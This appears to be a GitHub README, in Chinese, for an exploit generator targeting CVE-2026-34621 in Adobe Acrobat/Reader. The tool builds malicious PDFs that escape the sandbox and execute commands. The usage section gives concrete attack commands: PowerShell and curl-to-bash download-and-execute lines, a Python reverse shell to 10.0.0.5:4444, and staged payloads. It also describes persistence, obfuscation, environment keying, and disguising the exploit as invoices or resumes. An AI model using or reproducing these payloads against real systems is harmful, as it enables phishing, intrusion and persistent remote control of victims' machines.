NULL200OK/cve_2026_34621_advanced
GitHub: NULL200OK/cve_2026_34621_advanced
一个针对 CVE-2026-34621 的高级跨平台利用生成器,用于在受控环境中演示沙箱逃逸与代码执行。
Stars: 1 | Forks: 0
# CVE-2026-34621 高级利用生成器
[](https://www.python.org/)
[](LICENSE)
一个针对 **CVE-2026-34621** 的复杂跨平台利用生成器——这是 Adobe Acrobat 和 Reader 中一个关键的原型污染漏洞,会导致沙箱逃逸并在 Windows 和 macOS 上执行任意代码。
## 📋 目录
- [概述](#overview)
- [功能特性](#features)
- [安装](#installation)
- [快速开始](#quick-start)
- [使用示例](#usage-examples)
- [Windows 命令](#windows-commands)
- [macOS 命令](#macos-commands)
- [移动测试](#mobile-testing-note)
- [命令行选项](#command-line-options)
- [工作原理](#how-it-works)
- [受影响版本](#affected-versions)
- [缓解措施](#mitigation)
- [贡献](#contributing)
- [许可证](#license)
## 🔍 概述
**CVE-2026-34621** 是 Adobe Acrobat 和 Reader 中的一个零日漏洞,攻击者利用它可以:
1. 污染 JavaScript 对象原型。
2. 绕过安全沙箱。
3. 在目标机器上执行任意系统命令。
该生成器会创建一个恶意 PDF 文件,当在易受攻击的 Adobe Reader 中打开时,会自动执行针对受害者操作系统量身定制的有效载荷。
**支持的目标平台:**
- ✅ Windows(完整任意代码执行)
- ✅ macOS(完整任意代码执行)
- ❌ Android / iOS(不受影响——仅演示回退)
## ✨ 功能特性
| 类别 | 能力 |
|------|------|
| **跨平台有效载荷** | 自动检测操作系统并选择适当的 Windows 或 macOS 命令执行方法。 |
| **多种执行向量** | `cmd.exe`、PowerShell、WScript.Shell(Windows)/ Terminal.app、`osascript`(macOS)。 |
| **分阶段有效载荷** | 从远程 URL 下载并执行第二阶段有效载荷。 |
| **持久化** | 安装注册表 Run 键(Windows)或 LaunchAgent(macOS)。 |
| **规避技术** | 三级 JavaScript 混淆、环境键控、执行延迟、多态代码。 |
| **诱饵 PDF 嵌入** | 将利用程序合并到看似合法的 PDF 中(需要 PyPDF2)。 |
| **多种触发方式** | OpenAction、页面打开动作或文档级 JavaScript。 |
| **全面报告** | 提供 HTML、TXT 和 JSON 格式的详细报告。 |
## 📦 安装
### 1. 克隆仓库
```
git clone https://github.com/NULL200OK/CVE-2026-34621-Exploit.git
cd CVE-2026-34621-Exploit
```
### 2. (可选)创建虚拟环境
```
python3 -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
```
### 3. 安装依赖
核心脚本仅使用 Python 标准库。若要使用诱饵 PDF 合并功能,请安装 PyPDF2:
```
pip install PyPDF2
```
## 🚀 快速开始
生成一个在 Windows 和 macOS 上均打开计算器的基础 PDF:
```
python3 cve_2026_34621_advanced.py -o test.pdf
```
**这会生成:**
- test.pdf —— 恶意 PDF 文件。
- test_report.html —— 详细的 HTML 报告。
- test_report.txt —— 纯文本摘要。
- test_config.json —— JSON 配置导出。
## 💻 使用示例
**Windows 命令**
**场景 1** —— 基本 calc.exe 弹出
```
python cve_2026_34621_advanced.py -o invoice.pdf --win calc.exe
```
PowerShell 反向 Shell
```
python cve_2026_34621_advanced.py -o contract.pdf --win "powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')\""
```
带有持久化的分阶段有效载荷
```
python cve_2026_34621_advanced.py -o resume.pdf --win calc.exe --stage http://192.168.1.100/payload.exe -p
```
环境键控(仅在主机名为 "SALES-PC" 时执行)
```
python cve_2026_34621_advanced.py -o targeted.pdf --win calc.exe -k SALES-PC
```
使用 2 级混淆和 10 秒延迟
```
python cve_2026_34621_advanced.py -o delayed.pdf --win calc.exe -O 2 -d 10
```
**macOS 命令**
**场景 2** —— 打开计算器
```
python cve_2026_34621_advanced.py -o invoice.pdf --mac "open /System/Applications/Calculator.app"
```
下载并执行脚本
```
python cve_2026_34621_advanced.py -o update.pdf --mac "curl -s http://10.0.0.5/mac_payload.sh | bash"
```
通过 Python 反向 Shell
```
python cve_2026_34621_advanced.py -o shell.pdf --mac "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.5\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
```
通过 LaunchAgent 实现持久化
```
python cve_2026_34621_advanced.py -o persist.pdf --mac "open /Applications/Calculator.app" -p
```
嵌入诱饵 PDF
```
python cve_2026_34621_advanced.py -o safe_invoice.pdf -l /path/to/real_invoice.pdf --trigger pageopen
```
**3-移动测试说明**
该脚本本身在桌面系统(Windows/macOS/Linux)上运行以生成 PDF。生成的 PDF 可在 Android 或 iOS 设备上打开,但:
移动版本的 Adobe Acrobat Reader 不受 CVE-2026-34621 影响。
有效载荷将触发一个良性演示回退(打开 URL 或显示警告)而不是执行系统命令。
## 📖 命令行选项
**选项** | **描述**
--- | ---
**-o**, **--output** FILE | 必需。输出 PDF 文件名。
**--win** CMD | Windows 要执行的命令(默认:calc.exe)。
**--mac** CMD | macOS 要执行的命令(默认:open /System/Applications/Calculator.app)。
**--stage URL** | 从该 URL 下载第二阶段有效载荷。
**-p**, **--persistence** | 安装持久化机制(注册表 / LaunchAgent)。
**-O**, **--obfuscate** LEVEL | JavaScript 混淆级别(0=无,1=基础,2=中级,3=高级)。
**-d**, **--delay** SECONDS | 延迟执行指定秒数。
**-k**, **--key** HOSTNAME | 环境键控——仅在匹配的主机名上执行。
**-l**, **--lure** PDF | 用作诱饵的合法 PDF 路径(合并利用程序)。
**--trigger TYPE** | 触发向量:openaction、pageopen 或 doclevel。
**--no-reports** | 跳过生成 HTML/TXT/JSON 报告。
**--seed N** | 为可重复的多态生成设置随机种子。
## ⚙️ 工作原理
**攻击链**
**原型污染:**
嵌入的 JavaScript 会修改 Object.prototype 以注入恶意属性(__trusted、privileged 等)。这会混淆 Adobe JavaScript 引擎的信任边界。
**上下文提升:**
由于被污染的Prototype,引擎错误地将不受信任的文档 JavaScript 当作在特权上下文中运行。
**特权 API 访问:**
脚本现在可以调用受限 API,例如 app.launchURL、util.readFileIntoStream 和 app.trustedFunction。
**沙箱逃逸:**
这些 API 允许访问文件系统并在 Adobe 沙箱之外执行进程。
**任意代码执行:**
脚本使用操作系统特定方法执行攻击者命令:
- Windows:cmd.exe /c、PowerShell 或 WScript.Shell。
- macOS:Terminal.app URL 处理器或 osascript。
**混淆级别**
级别 | 描述
--- | ---
**0** | 无混淆——纯可读 JavaScript。
**1** | 字符串字面量转换为 String.fromCharCode,变量名随机化。
**2** | 在 1 的基础上加入死代码注入和垃圾注释。
**3** | 整个脚本 base64 编码并包裹在 eval(atob(...)) 中,再进行额外混淆。
## 🛡️ 受影响版本
产品 | 跟踪 | 受影响版本 | 修复版本
--- | --- | --- | ---
Adobe Acrobat DC | Continuous | ≤ 26.001.21367 | 26.001.21411
Adobe Acrobat Reader DC | Continuous | ≤ 26.001.21367 | 26.001.21411
Adobe Acrobat 2024 | Classic | ≤ 24.001.30356 | 24.001.30362(Windows)/ 24.001.30360(macOS)
## 🛠️ 缓解措施
立即更新:应用 Adobe 的最新安全更新。
在 Adobe Reader 中禁用 JavaScript:编辑 → 首选项 → JavaScript → 取消勾选“启用 Acrobat JavaScript”(注意:这会破坏部分 PDF 功能)。
使用替代 PDF 查看器:考虑使用不受影响的浏览器或第三方查看器。
## 🤝 贡献
欢迎贡献,但请注意:
所有拉取请求必须仅用于防御性研究、检测改进或报告增强。
我们不接受任何超出合法测试所需范围的进攻性能力增强的贡献。
要贡献:
- Fork 本仓库。
- 创建功能分支。
- 提交带有清晰变更描述的拉取请求。
## 📄 许可证
本项目仅供教育和授权的安全测试使用。
使用本软件即表示您同意遵守所有适用的法律法规。
作者不承担因误用或损坏造成的任何责任。
标签:Adobe Acrobat, Adobe Reader, cmd.exe, CVE, Exploit, Go语言工具, IPv6, osascript, Payload, PowerShell, WScript.Shell, 下载执行, 二阶段载荷, 任意代码执行, 原型污染, 命令行执行, 恶意PDF, 搜索语句(dork), 教育用途, 数字签名, 沙箱逃逸, 终端应用, 逆向工具, 零日